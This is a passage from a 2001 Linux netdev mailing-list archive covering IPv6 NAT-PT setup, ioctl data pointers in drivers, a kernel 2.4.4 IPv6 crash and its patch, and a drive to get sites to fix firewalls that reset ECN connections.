mean, what tools do i use? does ping6 or traceroute6 work? if so, how do i use them? I would greatly appreciate any kind of help/pointers/suggestions. Thanking you in advance Best Regards, ravi ---------------------------------------------------> Ravi Samprathi work:(408)853-8038 Cisco Systems res :(408)988-2268 Empowering the Internet Generation <--------------------------------------------------- From owner-netdev@oss.sgi.com Mon May 7 17:09:42 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4809gO26777 for netdev-outgoing; Mon, 7 May 2001 17:09:42 -0700 Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4809gF26771 for ; Mon, 7 May 2001 17:09:42 -0700 Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f480A6a19593 for ; Mon, 7 May 2001 17:10:06 -0700 (PDT) Received: from RSAMPRAT-W2K.cisco.com (dhcp-171-71-97-13.cisco.com [171.71.97.13]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AFH16787; Mon, 7 May 2001 17:09:34 -0700 (PDT) Message-Id: <4.3.2.7.2.20010507165603.02026648@mira-sjc5-7.cisco.com> X-Sender: rsamprat@mira-sjc5-7.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 07 May 2001 17:01:27 -0700 To: netdev@oss.sgi.com From: Ravikanth Samprathi Subject: help please - ipv4-ipv6 nat-pt linux translator Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, I have 3 hosts as follows h1------h2------h3 h1 is running both ipv4 and ipv6 stacks in linux-6.2,kernel 2.4.0, and is connected to h2. h2 is running both ipv4 and ipv6 stacks in linux 6.2, kernel 2.4.0, and is connected to h1 and h3. h3 is running ipv4 only stack and is a windows pc. i need host h1 (ipv6) to communicate with host h3 (ipv4), and vice-versa. i downloaded nat-pt translator software for linux from the following web site www.ipv6.or.kr/english/download.htm and am running the software in h2. Can somebody please answer my questions:- 1) the addresses assigned as of now to the interfaces are in the form fe80::2d0:b7ff:fe2c:acf/10. Is this a full ipv6 address? how do i assign ipv6 addresses to h1 and h2 ?? 2) what prefix do i set in the translator software? 3) how do i test if h1 and h3 are communicating? i mean, what tools do i use? does ping6 or traceroute6 work? if so, how do i use them? I would greatly appreciate any kind of help/pointers/suggestions. Thanking you in advance Best Regards, ravi ---------------------------------------------------> Ravi Samprathi work:(408)853-8038 Cisco Systems res :(408)988-2268 Empowering the Internet Generation <--------------------------------------------------- From owner-netdev@oss.sgi.com Tue May 8 04:53:03 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48Br3M11757 for netdev-outgoing; Tue, 8 May 2001 04:53:03 -0700 Received: from thalia.fm.intel.com (fmfdns02.fm.intel.com [132.233.247.11]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48Br3F11754 for ; Tue, 8 May 2001 04:53:03 -0700 Received: from SMTP (fmsmsxvs01-1.fm.intel.com [132.233.42.201]) by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.36 2001/04/18 16:16:02 root Exp $) with SMTP id LAA12523; Tue, 8 May 2001 11:52:46 GMT Received: from fmsmsx17.intel.com ([132.233.48.17]) by 132.233.48.201 (Norton AntiVirus for Internet Email Gateways 1.0) ; Tue, 08 May 2001 11:52:46 0000 (GMT) Received: by fmsmsx17.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Tue, 8 May 2001 04:52:44 -0700 Message-ID: <07E6E3B8C072D211AC4100A0C9C5758302B27218@hasmsx52.iil.intel.com> From: "Hen, Shmulik" To: "'LKML'" , "'LNML'" , "'netdev@oss.sgi.com'" Subject: RE: ioctl call for network device Date: Tue, 8 May 2001 04:52:40 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-netdev@oss.sgi.com Precedence: bulk > struct ifreq has a member called ifr_data. It is a pointer. You can > put a pointer to any of your data, including the most complex structure > you might envision, in that area. This allows you to pass anything > to and from your module. This pointer can be properly dereferenced > in kernel space but you should use copy_to/from_user and friends so a > user-space coding bug won't panic the kernel. How about a linked list ? Will the driver be able to follow the list where each node was dynamically allocated by the application ? Is there a size limit on the buffer ifr_data points to ? (AFAIK, Windows NDIS drivers limit to 1 page buffer =4096 bytes). Thanks, Shmulik Hen Linux Advanced Networking Services Intel Network Communications Group From owner-netdev@oss.sgi.com Tue May 8 05:02:58 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48C2wI12333 for netdev-outgoing; Tue, 8 May 2001 05:02:58 -0700 Received: from chaos.analogic.com (chaos.analogic.com [204.178.40.224]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48C2vF12328 for ; Tue, 8 May 2001 05:02:57 -0700 Received: (from root@localhost) by chaos.analogic.com (8.11.0.Beta3(chaos.analogic.com)/8.11.0.Beta3) id f48C2p917518; Tue, 8 May 2001 08:02:51 -0400 Date: Tue, 8 May 2001 08:02:51 -0400 (EDT) From: "Richard B. Johnson" Reply-To: root@chaos.analogic.com To: "Hen, Shmulik" cc: "'LKML'" , "'LNML'" , "'netdev@oss.sgi.com'" Subject: RE: ioctl call for network device In-Reply-To: <07E6E3B8C072D211AC4100A0C9C5758302B27218@hasmsx52.iil.intel.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Tue, 8 May 2001, Hen, Shmulik wrote: > > struct ifreq has a member called ifr_data. It is a pointer. You can > > put a pointer to any of your data, including the most complex structure > > you might envision, in that area. This allows you to pass anything > > to and from your module. This pointer can be properly dereferenced > > in kernel space but you should use copy_to/from_user and friends so a > > user-space coding bug won't panic the kernel. > > How about a linked list ? > Will the driver be able to follow the list where each node was dynamically > allocated by the application ? > Is there a size limit on the buffer ifr_data points to ? (AFAIK, Windows > NDIS drivers limit to 1 page buffer =4096 bytes). > > > Thanks, > > Shmulik Hen > Linux Advanced Networking Services > Intel Network Communications Group Again; This is a pointer. Your driver can dereference any valid pointer. You can't do this while holding a lock that will prevent page faults. Other than this, there are no problems. Cheers, Dick Johnson Penguin : Linux version 2.4.1 on an i686 machine (799.53 BogoMips). "Memory is like gasoline. You use it up when you are running. Of course you get it all back when you reboot..."; Actual explanation obtained from the Micro$oft help desk. From owner-netdev@oss.sgi.com Tue May 8 11:30:02 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48IU2d25053 for netdev-outgoing; Tue, 8 May 2001 11:30:02 -0700 Received: from imo-r14.mx.aol.com (imo-r14.mx.aol.com [152.163.225.68]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48ISRF24999 for ; Tue, 8 May 2001 11:28:27 -0700 Received: from CHUYITOJB@aol.com by imo-r14.mx.aol.com (mail_out_v30.10.) id x.84.159ccf4a (3704); Tue, 8 May 2001 14:13:51 -0400 (EDT) From: CHUYITOJB@aol.com Message-ID: <84.159ccf4a.2829915e@aol.com> Date: Tue, 8 May 2001 14:13:50 EDT Subject: Thank you all for linux To: faith@cs.unc.edu, util-linux@math.uio.no, alan@the.3c501.cabal.tm, Philip.Blundell@pobox.com, ajk@iehk.rwth-aachen.de, Pgortmaker@yahoo.com, linux-net@vger.rutgers.edu, tek@rbg.informatik.tu.darmstadt.de.sgi.com, epirker@edu.edu.uni-klu.ac.at.sgi.com, linux@advansys.com, fizban@tin.it, fischer@et-inf.fho-emden.de, apm@linuxcare.com.au, layes@loran.com, linux@arm.uk.linux.org, linux@treblig.org, dga2fef@afthd.tu-darmstadt.de, sailer@ife.ee.ethz.ch, lnz@dandelion.com, jgarzik@pobox.com, dmcnash@computone.com, mhw@wittsend.com, mec@shout.net, boldt@math.ucsb.edu, ka@fi.muni.cz, jam@acm.org, ivan@cyclades.com, jreuter@poboxes.com, rubini@vision.unipv.it, alan.cox@linux.org, jjciarla@raiz.uncu.edu.ar, mvw@planets.elm.net, rick@digii.com, danielt@digi.com, hpa@zytor.com, netdev@oss.sgi.com, SteveW@acm.org, kurt@gordoff.de.sgi.com, gorloff@suse.de MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 138 Sender: owner-netdev@oss.sgi.com Precedence: bulk Dear ladies and gentlemen, My name is Jesus. I'm a mexican native residing in the land of the very free and very brave. I' m a linux novice. I want to thank each and every one of you for making my computing experience more enjoyable and more fun. Thank you from the bottom of my corazone (heart). At the same token, I was wondering if in the wonderful, amazing world of free linux, there are ways to make COMPLETELY, FREE long distance pc to phone calls (the phone co. has me incomunicado. You see I' m very poor). Can you all please help me to keep in touch with my "familia" back in good old Mejico. I know there must be a way!! Thank you all so very much. Gracias--Danke--Arigato--Merci--Grazie molto mucho. Sincerely, Jesus M. Beltran. P.S. Please reply--Don't be so shy. I 'll pay for the postage. From owner-netdev@oss.sgi.com Tue May 8 13:14:39 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48KEdL29522 for netdev-outgoing; Tue, 8 May 2001 13:14:39 -0700 Received: from titan.bieringer.de (mail.bieringer.de [195.226.187.51]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f48KEdF29519 for ; Tue, 8 May 2001 13:14:39 -0700 Received: (qmail 17597 invoked from network); 8 May 2001 20:14:36 -0000 Received: from pd9502483.dip.t-dialin.net (HELO gate.muc.bieringer.de) (217.80.36.131) by mail.bieringer.de with SMTP; 8 May 2001 20:14:36 -0000 Date: Tue, 08 May 2001 22:15:32 +0200 From: Peter Bieringer To: Maillist netdev Subject: Kernel 2.4.4 crashes using IPv6 Message-ID: <63350000.989352932@localhost> X-Mailer: Mulberry/2.0.8 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, has someone made same experiences? Booted in runlevel 1 I load the IPv6 module, then ifconfig eth0 up ifconfig lo up eth0 is configured link-local and global from remote radvd Now I've running ping6 to link local address to the 2.4.4 host and suddenly after some seconds the kernel crashes in swapper task. Reproducable. 2.4.3 seems to be ok. Peter From owner-netdev@oss.sgi.com Tue May 8 13:44:47 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48Kilc30556 for netdev-outgoing; Tue, 8 May 2001 13:44:47 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48KijF30553 for ; Tue, 8 May 2001 13:44:46 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f48Kih812650; Tue, 8 May 2001 23:44:43 +0300 Date: Tue, 8 May 2001 23:44:42 +0300 (EEST) From: Pekka Savola To: Peter Bieringer cc: Maillist netdev Subject: Re: Kernel 2.4.4 crashes using IPv6 In-Reply-To: <63350000.989352932@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Tue, 8 May 2001, Peter Bieringer wrote: > has someone made same experiences? > Booted in runlevel 1 I load the IPv6 module, then > ifconfig eth0 up > ifconfig lo up > eth0 is configured link-local and global from remote radvd > > Now I've running ping6 to link local address to the 2.4.4 host and > suddenly after some seconds the kernel crashes in swapper task. > > Reproducable. > > 2.4.3 seems to be ok. Yes. Apply: http://vger.samba.org/cgi-bin/cvsweb/linux/net/ipv6/ndisc.c.diff?r1=1.49&r2=1.50&cvsroot=vger And you will be fine. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Tue May 8 19:32:53 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f492WrR08107 for netdev-outgoing; Tue, 8 May 2001 19:32:53 -0700 Received: from shell.cyberus.ca (shell.cyberus.ca [209.195.95.7]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f492WqF08104 for ; Tue, 8 May 2001 19:32:52 -0700 Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.9.3/666/Cyberus Online Inc.) with ESMTP id WAA00524; Tue, 8 May 2001 22:31:23 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Tue, 8 May 2001 22:31:23 -0400 (EDT) From: jamal To: cc: , , Sally Floyd , , Subject: ECN: Volunteers needed Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Folks, ECN is about to become a Proposed Standard RFC. Thanks to efforts from the Linux community, a few issues were discovered in the course of deploying the code. Special kudos go to Alexey Kuznetsov and David Miller. I wont go into details of the issues other than to say some midlle-box vendors in the past have associated the semantics of the natural-language English word "reserved" to have a different meaning. visit Jeff Garzik's ECN-under-Linux Unofficial Vendor Support Page at: http://gtf.org/garzik/ecn/ for more details Sally Floyd explains best why it is wrong for vendors of middle boxes to be doing this in the draft to be found at: ftp://ftp.normos.org/ietf/internet-drafts/draft-floyd-tcp-reset-00.txt So why am i posting this? This is to solicit volunteers who will help removing the remaining cruft. Some vendors (special positive mention goes to CISCO) have released patches which are unfortunately not being propagated by some of the site owners. Help is needed to contact these site owners and politely using a standard email ask them that their site was non-conformant. Point them to Sally's draft and the fact that ECN is becoming standard in the next week or so. Also to Jeff's ECN-under-Linux Unofficial Vendor Support Page, and to encourage them to have their firewall or load-balancer upgraded. I suppose the first volunteer needed is to draft such an email. We have to be polite and persistent for this to work. Jitendra Padhye at ACIRI is running weekly tests to detect offending sites. Most recent results can be found at: http://www.aciri.org/tbit/ecn_test3A.html Any site with the word "RST" on the line should be considered non-conformant. Volunteers please send an email to ecn@gtf.org with subject "interested in volunteering" Flames etc please redirect to netdev (since that's the only list i am on). as well make sure you cc the other people (other than linux-kernel and linux-net) cheers, jamal From owner-netdev@oss.sgi.com Tue May 8 19:41:30 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f492fU108615 for netdev-outgoing; Tue, 8 May 2001 19:41:30 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f492fTF08611 for ; Tue, 8 May 2001 19:41:29 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA29124; Tue, 8 May 2001 19:41:22 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15096.44626.349846.309176@pizda.ninka.net> Date: Tue, 8 May 2001 19:41:22 -0700 (PDT) To: jamal Cc: , , , Sally Floyd , , Subject: Re: ECN: Volunteers needed In-Reply-To: References: X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk jamal writes: > Help is needed to contact these site owners and politely using a standard > email ask them that their site was non-conformant. > Point them to Sally's draft and the fact that ECN is becoming standard > in the next week or so. Also to Jeff's ECN-under-Linux Unofficial > Vendor Support Page, and to encourage them to have their firewall > or load-balancer upgraded. > I suppose the first volunteer needed is to draft such an email. We have to > be polite and persistent for this to work. I believe it would only be prudent to actually send out these messages starting at the moment ECN is officially standard. This was the big argument I was running into from sites, "well it isn't standard yet, when it is we'll do something about it". The larger sites like to avoid updates until absolutely necessary. If we are to improve ECN deployment, we should understand the priorities of the people who run the sites which stand in the way of our doing so. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Tue May 8 19:46:46 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f492kka09106 for netdev-outgoing; Tue, 8 May 2001 19:46:46 -0700 Received: from shell.cyberus.ca (shell.cyberus.ca [209.195.95.7]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f492kjF09101 for ; Tue, 8 May 2001 19:46:45 -0700 Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.9.3/666/Cyberus Online Inc.) with ESMTP id WAA00560; Tue, 8 May 2001 22:45:17 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Tue, 8 May 2001 22:45:17 -0400 (EDT) From: jamal To: "David S. Miller" cc: , , Sally Floyd , , Subject: Re: ECN: Volunteers needed In-Reply-To: <15096.44626.349846.309176@pizda.ninka.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Tue, 8 May 2001, David S. Miller wrote: > > I believe it would only be prudent to actually send out these messages > starting at the moment ECN is officially standard. > > This was the big argument I was running into from sites, "well it > isn't standard yet, when it is we'll do something about it". The > larger sites like to avoid updates until absolutely necessary. > > If we are to improve ECN deployment, we should understand the > priorities of the people who run the sites which stand in the way > of our doing so. > Sally new draft: ftp://ftp.normos.org/ietf/internet-drafts/draft-floyd-tcp-reset-00.txt builds a strong case against the RST issue and maybe used to point to problems despite ECN. But you are right, it will be stronger and wiser to wait until this is standardized before paying a visit to the site owners. Any one wishing to volunteer, please still send your emails in -- we should be ready in a few days from now, cheers, jamal From owner-netdev@oss.sgi.com Tue May 8 19:50:27 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f492oRC09535 for netdev-outgoing; Tue, 8 May 2001 19:50:27 -0700 Received: from shell.cyberus.ca (shell.cyberus.ca [209.195.95.7]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f492oQF09530 for ; Tue, 8 May 2001 19:50:26 -0700 Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.9.3/666/Cyberus Online Inc.) with ESMTP id WAA00564; Tue, 8 May 2001 22:48:58 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Tue, 8 May 2001 22:48:58 -0400 (EDT) From: jamal To: "David S. Miller" cc: , , Sally Floyd , , Subject: Re: ECN: Volunteers needed In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Tue, 8 May 2001, jamal wrote: > Any one wishing to volunteer, please still send your emails in -- > we should be ready in a few days from now, > I guess i should have mentioned the IESG is sitting in to approve ECN as proposed standard in about a week or so. cheers, jamal From owner-netdev@oss.sgi.com Tue May 8 20:16:11 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f493GBA10621 for netdev-outgoing; Tue, 8 May 2001 20:16:11 -0700 Received: from elk.aciri.org (elk.aciri.org [192.150.187.21]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f493GBF10618 for ; Tue, 8 May 2001 20:16:11 -0700 Received: from elk.aciri.org (localhost [127.0.0.1]) by elk.aciri.org (8.11.3/8.11.1) with ESMTP id f493G8i48743; Tue, 8 May 2001 20:16:08 -0700 (PDT) (envelope-from floyd@elk.aciri.org) Message-Id: <200105090316.f493G8i48743@elk.aciri.org> To: "David S. Miller" cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.rutgers.edu, Sally Floyd , kk@teraoptic.com, jitu@aciri.org, jamal From: Sally Floyd Subject: Re: ECN: Volunteers needed Date: Tue, 08 May 2001 20:16:08 -0700 Sender: owner-netdev@oss.sgi.com Precedence: bulk >This was the big argument I was running into from sites, "well it >isn't standard yet, when it is we'll do something about it". The >larger sites like to avoid updates until absolutely necessary. The purpose of my draft on "Inappropriate TCP Resets Considered Harmful" is to argue that firewalls and other devices should not send Resets in response to Reserved flags in the TCP header regardless of the standards status of the reserved flag. System administrators will clearly have to decide for themselves whether they find the argument convincing. And my own belief is that, while working to get the broken firewalls and such fixed, it is also not a bad idea for TCP implementations to make sure they are as robust as possible in the presence of such broken equipment... - Sally From owner-netdev@oss.sgi.com Wed May 9 05:39:07 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f49Cd7Z23258 for netdev-outgoing; Wed, 9 May 2001 05:39:07 -0700 Received: from sleeper.apana.org.au (sleeper.apana.org.au [129.78.226.233]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f49Cd3F23250 for ; Wed, 9 May 2001 05:39:04 -0700 Received: by sleeper.apana.org.au (Postfix, from userid 500) id AD213709E; Wed, 9 May 2001 21:44:37 +1000 (EST) Subject: Re: ECN: Volunteers needed To: hadi@cyberus.ca (jamal) Date: Wed, 9 May 2001 21:44:37 +1000 (EST) Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.rutgers.edu, floyd@aciri.org (Sally Floyd), kk@teraoptic.com, jitu@aciri.org In-Reply-To: from "jamal" at May 08, 2001 10:31:23 PM X-Mailer: ELM [version 2.5 PL0pre8] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010509114437.AD213709E@sleeper.apana.org.au> From: matthew@sleeper.apana.org.au (Matthew Geier) Sender: owner-netdev@oss.sgi.com Precedence: bulk > This is to solicit volunteers who will help removing the remaining cruft. > Some vendors (special positive mention goes to CISCO) have released > patches which are unfortunately not being propagated by some of the > site owners. > Help is needed to contact these site owners and politely using a standard > email ask them that their site was non-conformant. I tried to get my local bank to fix their internet banking service about a month ago. I ran into a 'brick wall'. They only support Windows and MacOS, since neither currently implement ECN, they don't have a problem :-( The only answer I got is 'we don't support Linux'. The operator tried to find some one interested in the network, but the answer was always the same. 'We don't support.....' They actually suggested I 'upgrade' my browser at one point! Their service actually works perfectly with Netscape and Linux 2.4.x (as long as ECN is disabled). From owner-netdev@oss.sgi.com Wed May 9 06:34:21 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f49DYLh25862 for netdev-outgoing; Wed, 9 May 2001 06:34:21 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f49DYKF25858 for ; Wed, 9 May 2001 06:34:20 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f49DY2N27576; Wed, 9 May 2001 16:34:02 +0300 Date: Wed, 9 May 2001 16:34:01 +0300 (EEST) From: Pekka Savola To: Matthew Geier cc: jamal , , , , Sally Floyd , , Subject: Re: ECN: Volunteers needed In-Reply-To: <20010509114437.AD213709E@sleeper.apana.org.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 9 May 2001, Matthew Geier wrote: > > This is to solicit volunteers who will help removing the remaining cruft. > > Some vendors (special positive mention goes to CISCO) have released > > patches which are unfortunately not being propagated by some of the > > site owners. > > Help is needed to contact these site owners and politely using a standard > > email ask them that their site was non-conformant. > > > I tried to get my local bank to fix their internet banking service about a > month ago. I ran into a 'brick wall'. They only support Windows and MacOS, > since neither currently implement ECN, they don't have a problem :-( > > The only answer I got is 'we don't support Linux'. The operator tried > to find some one interested in the network, but the answer was always > the same. 'We don't support.....' [snip] There are a couple of ways to deal with these: 0) speak to the right persons: don't expect helpdesk can do anything about these, especially don't expect anyone to "call you back". Try to get in touch with someone who is a network admin; if the bank is not a kiosk with tiny amount of money in the safe, a whois database e.g. RIPE might give some clues. If helpdesk/network admin is clueless, ask to speak with their supervisor. 1) vote with your feet: switch the bank. This is how modern economy works; money is power. Make sure they know you switched (or intend to switch) banks, and why. Make sure their boss, and the person somewhat in charge of handling customer relations, knows it. 2) make it (more) public: if there are potentially more people in the area who this would concern, making this public, and causing the bank a potential loss of 50 customers, not 1, might wake them to the reality. 3) forget about it: just don't enable ECN. And lastly: do not make them think of this as a Linux problem. Their software breaks Internet standards (soon, anyway :), and eventually they will be shut out. In many cases, the fix is free and easily installable. .. Let's not start a huge thread (especially with this big Cc: list; there should be a smaller forum to discuss this if necessary) on this though. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Wed May 9 06:38:25 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f49DcPX26372 for netdev-outgoing; Wed, 9 May 2001 06:38:25 -0700 Received: from xi.linuxpower.cx (IDENT:postfix@[63.95.87.168]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f49DcLF26369 for ; Wed, 9 May 2001 06:38:25 -0700 Received: by xi.linuxpower.cx (Postfix, from userid 500) id 6F6F62D60C; Wed, 9 May 2001 09:38:19 -0400 (EDT) Date: Wed, 9 May 2001 09:38:19 -0400 From: Gregory Maxwell To: jamal Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.rutgers.edu, Sally Floyd , kk@teraoptic.com, jitu@aciri.org Subject: Re: ECN: Volunteers needed Message-ID: <20010509093819.A13226@xi.linuxpower.cx> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.8i In-Reply-To: ; from hadi@cyberus.ca on Tue, May 08, 2001 at 10:31:23PM -0400 Sender: owner-netdev@oss.sgi.com Precedence: bulk On Tue, May 08, 2001 at 10:31:23PM -0400, jamal wrote: > Folks, > > ECN is about to become a Proposed Standard RFC. Thanks to > efforts from the Linux community, a few issues were discovered > in the course of deploying the code. Special kudos go to Alexey > Kuznetsov and David Miller. [snip] Anyone have any friends at AOL? I wonder what the effect on these non-conformant sites would be if AOL's proxy's became ECN enabled? From owner-netdev@oss.sgi.com Wed May 9 07:11:27 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f49EBRS28227 for netdev-outgoing; Wed, 9 May 2001 07:11:27 -0700 Received: from pincoya.inf.utfsm.cl (IDENT:root@pincoya.inf.utfsm.cl [200.1.19.3]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f49EBOF28224 for ; Wed, 9 May 2001 07:11:25 -0700 Received: from pincoya.inf.utfsm.cl (IDENT:vonbrand@localhost.inf.utfsm.cl [127.0.0.1]) by pincoya.inf.utfsm.cl (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f49EATO2002043; Wed, 9 May 2001 10:10:29 -0400 Message-Id: <200105091410.f49EATO2002043@pincoya.inf.utfsm.cl> To: Gregory Maxwell cc: jamal , netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.rutgers.edu, Sally Floyd , kk@teraoptic.com, jitu@aciri.org Subject: Re: ECN: Volunteers needed In-Reply-To: Message from Gregory Maxwell of "Wed, 09 May 2001 09:38:19 -0400." <20010509093819.A13226@xi.linuxpower.cx> Date: Wed, 09 May 2001 10:10:29 -0400 From: Horst von Brand Sender: owner-netdev@oss.sgi.com Precedence: bulk Gregory Maxwell said: [...] > Anyone have any friends at AOL? I wonder what the effect on these > non-conformant sites would be if AOL's proxy's became ECN enabled? And AOL is sure crazy enough to "break compatibility with everybody" just out of courtesy to someone's friend call. Get real, it _won't_ happen unless they are forced to do so. Standard or not. -- Dr. Horst H. von Brand mailto:vonbrand@inf.utfsm.cl Departamento de Informatica Fono: +56 32 654431 Universidad Tecnica Federico Santa Maria +56 32 654239 Casilla 110-V, Valparaiso, Chile Fax: +56 32 797513 From owner-netdev@oss.sgi.com Wed May 9 07:25:12 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f49EPCB29373 for netdev-outgoing; Wed, 9 May 2001 07:25:12 -0700 Received: from xi.linuxpower.cx (IDENT:postfix@[63.95.87.168]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f49EPAF29370 for ; Wed, 9 May 2001 07:25:10 -0700 Received: by xi.linuxpower.cx (Postfix, from userid 500) id ACE932D60C; Wed, 9 May 2001 10:25:09 -0400 (EDT) Date: Wed, 9 May 2001 10:25:09 -0400 From: Gregory Maxwell To: Horst von Brand Cc: jamal , netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.rutgers.edu, Sally Floyd , kk@teraoptic.com, jitu@aciri.org Subject: Re: ECN: Volunteers needed Message-ID: <20010509102509.B13226@xi.linuxpower.cx> References: <200105091410.f49EATO2002043@pincoya.inf.utfsm.cl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.8i In-Reply-To: <200105091410.f49EATO2002043@pincoya.inf.utfsm.cl>; from vonbrand@inf.utfsm.cl on Wed, May 09, 2001 at 10:10:29AM -0400 Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, May 09, 2001 at 10:10:29AM -0400, Horst von Brand wrote: > Gregory Maxwell said: > > [...] > > > Anyone have any friends at AOL? I wonder what the effect on these > > non-conformant sites would be if AOL's proxy's became ECN enabled? > > And AOL is sure crazy enough to "break compatibility with everybody" just > out of courtesy to someone's friend call. > > Get real, it _won't_ happen unless they are forced to do so. Standard or > not. 1) It's not everybody. 2) They certainly are. Every once in a while they go through a period of silently dropping all email coming from hosts that don't have PTRs. This would be no worse. From owner-netdev@oss.sgi.com Thu May 10 00:00:38 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4A70c724746 for netdev-outgoing; Thu, 10 May 2001 00:00:38 -0700 Received: from aaitlol.conscoop.ottawa.on.ca (ip43-114.syzygy.com [216.240.43.114]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4A70aF24741 for ; Thu, 10 May 2001 00:00:37 -0700 Received: (from rgb@localhost) by 